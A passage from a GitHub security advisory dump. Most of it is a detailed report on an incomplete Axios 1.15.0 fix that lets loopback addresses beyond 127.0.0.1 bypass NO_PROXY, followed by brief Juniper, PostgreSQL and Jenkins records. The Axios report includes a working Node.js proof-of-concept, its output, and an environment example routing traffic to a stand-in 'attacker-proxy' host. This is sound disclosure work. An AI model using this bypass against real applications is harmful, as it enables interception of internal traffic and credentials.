isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// If both sides are \"loopback\" \u2192 treat as match\n```\n\n**Fix C Normalization Applied on Both Sides (Lines 81 \u0026 90)**\n\n```\n// Request hostname normalized:\nconst hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());\n// Each NO_PROXY entry normalized:\nentryHost = normalizeNoProxyHost(entryHost);\n```\n\n**2.5 The Incomplete Patch Exact Root Cause**\nThe fundamental flaw resides in Line 1:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 1 \u2190 ROOT CAUSE\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n// ^^^^^^^^^^^\n// Only ONE IPv4 loopback address is recognized.\n// The entire 127.0.0.0/8 subnet is unaccounted for.\n// Line 3 \u2014 Lookup against this incomplete set:\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n// ^^^^^^^^^\n// Returns FALSE for any 127.x.x.x \u2260 127.0.0.1\n```\n\u003cimg width=\"884\" height=\"135\" alt=\"02_vulnerable_code_loopback_addresses\" src=\"https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e\" /\u003e\n\n***RFC 1122 \u00a73.2.1.3 is unambiguous:**\n\n\u003e \"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network.\"\n\nThis means all addresses from `127.0.0.1` through `127.255.255.254` are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire `/8` block is routed to the `lo` interface by default. The patch recognises only `127.0.0.1`, leaving `16,777,213` valid loopback addresses unprotected.\n\n\u003cimg width=\"884\" height=\"537\" alt=\"03_rfc1122_loopback_definition\" src=\"https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0\" /\u003e\n\n**2.6 Step-by-Step Bypass Execution Trace**\nEnvironment:\n\n```\nNO_PROXY = \"localhost,127.0.0.1,::1\"\nHTTP_PROXY = \"http://attacker-proxy:5300\"\nTarget URL = \"http://127.0.0.2:9191/internal-api\"\n```\n**Annotated execution of shouldBypassProxy(\"http://127.0.0.2:9191/internal-api\"):**\n\n```\n// Step 1 \u2014 Parse the request URL\nparsed = new URL(\"http://127.0.0.2:9191/internal-api\")\nhostname = \"127.0.0.2\" // parsed.hostname\n// Step 2 \u2014 Read NO_PROXY environment variable\nnoProxy = \"localhost,127.0.0.1,::1\" // lowercased\n// Step 3 \u2014 Normalize the request hostname\nhostname = normalizeNoProxyHost(\"127.0.0.2\")\n// No brackets \u2192 skip\n// No trailing dot \u2192 skip\n// Result: \"127.0.0.2\" (unchanged)\n// Step 4 \u2014 Iterate over NO_PROXY entries\n// Entry \u2192 \"localhost\"\nentryHost = \"localhost\"\n\"127.0.0.2\" === \"localhost\" \u2192 false\nisLoopback(\"127.0.0.2\") \u2192 false \u2190 Set.has() returns false\n BYPASS starts here\n// Entry \u2192 \"127.0.0.1\"\nentryHost = \"127.0.0.1\"\n\"127.0.0.2\" === \"127.0.0.1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"127.0.0.1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Entry \u2192 \"::1\"\nentryHost = \"::1\"\n\"127.0.0.2\" === \"::1\" \u2192 false\nisLoopback(\"127.0.0.2\") \u0026\u0026 isLoopback(\"::1\")\n \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 false \u2190 Same failure\n \u2192 false\n// Step 5 \u2014 Final return\nshouldBypassProxy() \u2192 false\n// Axios proceeds to route the request through the configured proxy.\n// The attacker\u0027s proxy server receives the full request including headers\n// and any response from the internal service.\n```\n\n**2.7 Why the Patch Design Is Flawed**\nThe patch addresses the **symptom** (two specific alternate representations) rather than the **root cause** (an incomplete definition of what constitutes a loopback address).\n\n| Aspect | Original Bug | This Finding |\n| ------------- | ------------- | ------------- |\n| What was wrong | No normalization before comparison | Incomplete loopback address set|\n| Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded |\n| RFC compliance | Violated RFC 1034 \u0026 RFC 3986 | Violates RFC 1122 \u00a73.2.1.3 |\n| Bypass method | Alternate string representation | Alternate valid loopback address |\n| Impact | NO_PROXY bypass \u2192 SSRF | NO_PROXY bypass \u2192 SSRF (identical) |\n\n```\n**2.8 Total Exposed Address Space**\nProtected by patch: 127.0.0.1 (1 address)\nUnprotected loopback: 127.0.0.2\n through\n 127.255.255.254 (16,777,213 addresses)\n```\nReal-world services that commonly bind to non-standard loopback addresses include:\n\n* Internal microservices and admin dashboards using dedicated loopback IPs\n* Development environments with multiple isolated service instances\n* Docker and container bridge network configurations\n* Test infrastructure allocating sequential loopback IPs across services\n\n**3. Comprehensive Attack Vector \u0026 Proof of Concept**\n\n**3.1 Reproduction Steps**\n\nStep 1 \u2014 Create a fresh project directory\n```\nmkdir axios-bypass-test \u0026\u0026 cd axios-bypass-test\n```\n**Step 2 \u2014 Initialize the project with the patched Axios version**\nCreate `package.json`:\n\n```\n{\n \"type\": \"module\",\n \"dependencies\": {\n \"axios\": \"1.15.0\"\n }\n}\n```\nInstall dependencies:\n\n```\nnpm install\n```\nVerify the installed version:\n\n```\nnpm list axios\n# Expected output: axios@1.15.0\n```\n\n**Step 3 \u2014 Create the PoC file (`poc.js`)**\n\n```\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n// \u2500\u2500 Simulated attacker-controlled proxy server \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nconst PROXY_PORT = 5300;\nhttp.createServer((req, res) =\u003e {\n console.log(\u0027\\n[!] PROXY HIT \u2014 Attacker proxy received request!\u0027);\n console.log(` Method : ${req.method}`);\n console.log(` URL : ${req.url}`);\n console.log(` Host : ${req.headers.host}`);\n res.writeHead(200);\n res.end(\u0027proxied\u0027);\n}).listen(PROXY_PORT);\n// \u2500\u2500 Simulated developer security configuration \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n// Developer believes all loopback traffic is protected by NO_PROXY.\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;\nprocess.env.NO_PROXY = \u0027localhost,127.0.0.1,::1\u0027;\n// \u2500\u2500 Test helper \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nasync function test(url) {\n console.log(`\\n[*] Testing: ${url}`);\n try {\n const res = await axios.get(url, { timeout: 2000 });\n if (res.data === \u0027proxied\u0027) {\n console.log(\u0027 Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED\u0027);\n } else {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 Safe, no proxy used\u0027);\n }\n } catch (err) {\n if (err.code === \u0027ECONNREFUSED\u0027) {\n console.log(\u0027 Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy)\u0027);\n }\n }\n}\n// \u2500\u2500 Test execution \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nsetTimeout(async () =\u003e {\n // Section A: Cases fixed by the existing patch \u2014 expected to go DIRECT\n console.log(\u0027\\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\u0027);\n await test(\u0027http://localhost:9191/secret\u0027);\n await test(\u0027http://localhost.:9191/secret\u0027);\n await test(\u0027http://[::1]:9191/secret\u0027);\n // Section B: Bypass cases \u2014 expected to go DIRECT, but actually go through proxy\n console.log(\u0027\\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\u0027);\n await test(\u0027http://127.0.0.2:9191/secret\u0027);\n await test(\u0027http://127.0.0.100:9191/secret\u0027);\n await test(\u0027http://127.1.2.3:9191/secret\u0027);\n process.exit(0);\n}, 500);\n```\n\n**Step 4 \u2014 Execute the PoC**\n\n```\nnode poc.js\n```\n\n**3.2 Observed Output**\nThe following output was captured during testing on Kali Linux with Axios 1.15.0:\n\n```\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===\n[*] Testing: http://localhost:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://localhost.:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n[*] Testing: http://[::1]:9191/secret\n Result \u2192 [DIRECT] \u2190 ECONNREFUSED (request did not go through proxy) \n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===\n[*] Testing: http://127.0.0.2:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.2:9191/secret\n Host : 127.0.0.2:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.0.0.100:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.0.0.100:9191/secret\n Host : 127.0.0.100:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n[*] Testing: http://127.1.2.3:9191/secret\n[!] PROXY HIT \u2014 Attacker proxy received request!\n Method : GET\n URL : http://127.1.2.3:9191/secret\n Host : 127.1.2.3:9191\n Result \u2192 [PROXIED] \u2190 BYPASS CONFIRMED \n```\n\u003cimg width=\"1621\" height=\"739\" alt=\"05_poc_execution_bypass_confirmed\" src=\"https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7\" /\u003e\n\n**3.3 Analysis of Results**\nThe output conclusively demonstrates the following:\n\n**Patched cases behave correctly:** Requests to `localhost`, `localhost.` (trailing dot), and `[::1]` (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.\n\n**Bypass cases confirm the incomplete patch:** Requests to `127.0.0.2`, `127.0.0.100`, and `127.1.2.3` all of which are valid loopback addresses within the `127.0.0.0/8` subnet as defined by `RFC 1122 \u00a73.2.1.3` are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and `Host` header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2: Has HTTP_PROXY or HTTPS_PROXY set in its environment\n (common in corporate networks, cloud deployments,\n containerised environments, and CI/CD pipelines)\nCondition 3: Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects: Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour: Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n - Full request URL\n - HTTP method\n - All request headers (including Authorization, Cookie, API keys)\n - Request body (for POST/PUT requests)\n - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n All loopback/internal addresses\nWhat is actually protected:\n Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n 127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n // Named loopback hostname\n if (host === \u0027localhost\u0027) return true;\n // IPv6 loopback address\n if (host === \u0027::1\u0027) return true;\n // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n // Matches any address from 127.0.0.0 through 127.255.255.254\n const parts = host.split(\u0027.\u0027);\n return (\n parts.length === 4 \u0026\u0026\n parts[0] === \u0027127\u0027 \u0026\u0026\n parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+ if (host === \u0027localhost\u0027) return true;\n+ if (host === \u0027::1\u0027) return true;\n+ const parts = host.split(\u0027.\u0027);\n+ return (\n+ parts.length === 4 \u0026\u0026\n+ parts[0] === \u0027127\u0027 \u0026\u0026\n+ parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+ );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers : 3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027 // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027 // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027 // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
"id": "GHSA-pmwg-cvhr-8vh7",
"modified": "2026-05-05T00:20:58Z",
"published": "2026-05-05T00:20:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}
GHSA-R893-59MM-PXRG
Vulnerability from github – Published: 2026-04-10 00:30 – Updated: 2026-04-10 00:30A Permissive List of Allowed Input vulnerability in the CLI of Juniper Networks Support Insights (JSI) Virtual Lightweight Collector (vLWC) allows a local, high privileged attacker to escalate their privileges to root.
The CLI menu accepts input without carefully validating it, which allows for shell command injection. These shell commands are executed with root permissions and can be used to gain complete control of the system.
This issue affects all JSI vLWC versions before 3.0.94.
{
"affected": [],
"aliases": [
"CVE-2026-21915"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-09T22:16:24Z",
"severity": "HIGH"
},
"details": "A Permissive List of Allowed Input vulnerability in the CLI of Juniper Networks Support Insights (JSI) Virtual Lightweight Collector (vLWC) allows a local, high privileged attacker to escalate their privileges to root.\n\nThe CLI menu accepts input without carefully validating it, which allows for shell command injection. These shell commands are executed with root permissions and can be used to gain complete control of the system.\n\nThis issue affects all JSI vLWC versions before 3.0.94.",
"id": "GHSA-r893-59mm-pxrg",
"modified": "2026-04-10T00:30:29Z",
"published": "2026-04-10T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21915"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA106016"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:M/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-RFP5-6W27-JRQ7
Vulnerability from github – Published: 2022-02-15 01:40 – Updated: 2022-02-15 01:40A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
{
"affected": [],
"aliases": [
"CVE-2020-25696"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-270",
"CWE-697"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-11-23T22:15:00Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in the psql interactive terminal of PostgreSQL in versions before 13.1, before 12.5, before 11.10, before 10.15, before 9.6.20 and before 9.5.24. If an interactive psql session uses \\gset when querying a compromised server, the attacker can execute arbitrary code as the operating system account running psql. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.",
"id": "GHSA-rfp5-6w27-jrq7",
"modified": "2022-02-15T01:40:50Z",
"published": "2022-02-15T01:40:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25696"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1894430"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00005.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202012-07"
},
{
"type": "WEB",
"url": "https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Comparison, Permissive List of Allowed Inputs, and Privilege Context Switching Error in PostgreSQL"
}
GHSA-V558-FHW2-V46W
Vulnerability from github – Published: 2022-05-24 22:00 – Updated: 2023-10-26 16:14Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:workflow-remote-loader"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10328"
],
"database_specific": {
"cwe_ids": [
"CWE-183",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-30T18:21:15Z",
"nvd_published_at": "2019-05-31T15:29:00Z",
"severity": "CRITICAL"
},
"details": "Jenkins Pipeline Remote Loader Plugin before 1.5 provided a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.",
"id": "GHSA-v558-fhw2-v46w",
"modified": "2023-10-26T16:14:43Z",
"published": "2022-05-24T22:00:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10328"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/workflow-remote-loader-plugin/commit/6f9d60f614359720ec98e22b80ba15e8bf88e712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHBA-2019:1605"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1636"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/workflow-remote-loader-plugin"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-05-31/#SECURITY-921"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2019/05/31/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108540"
}
],
"schema_version": "1.4.0",
"severity": [
{
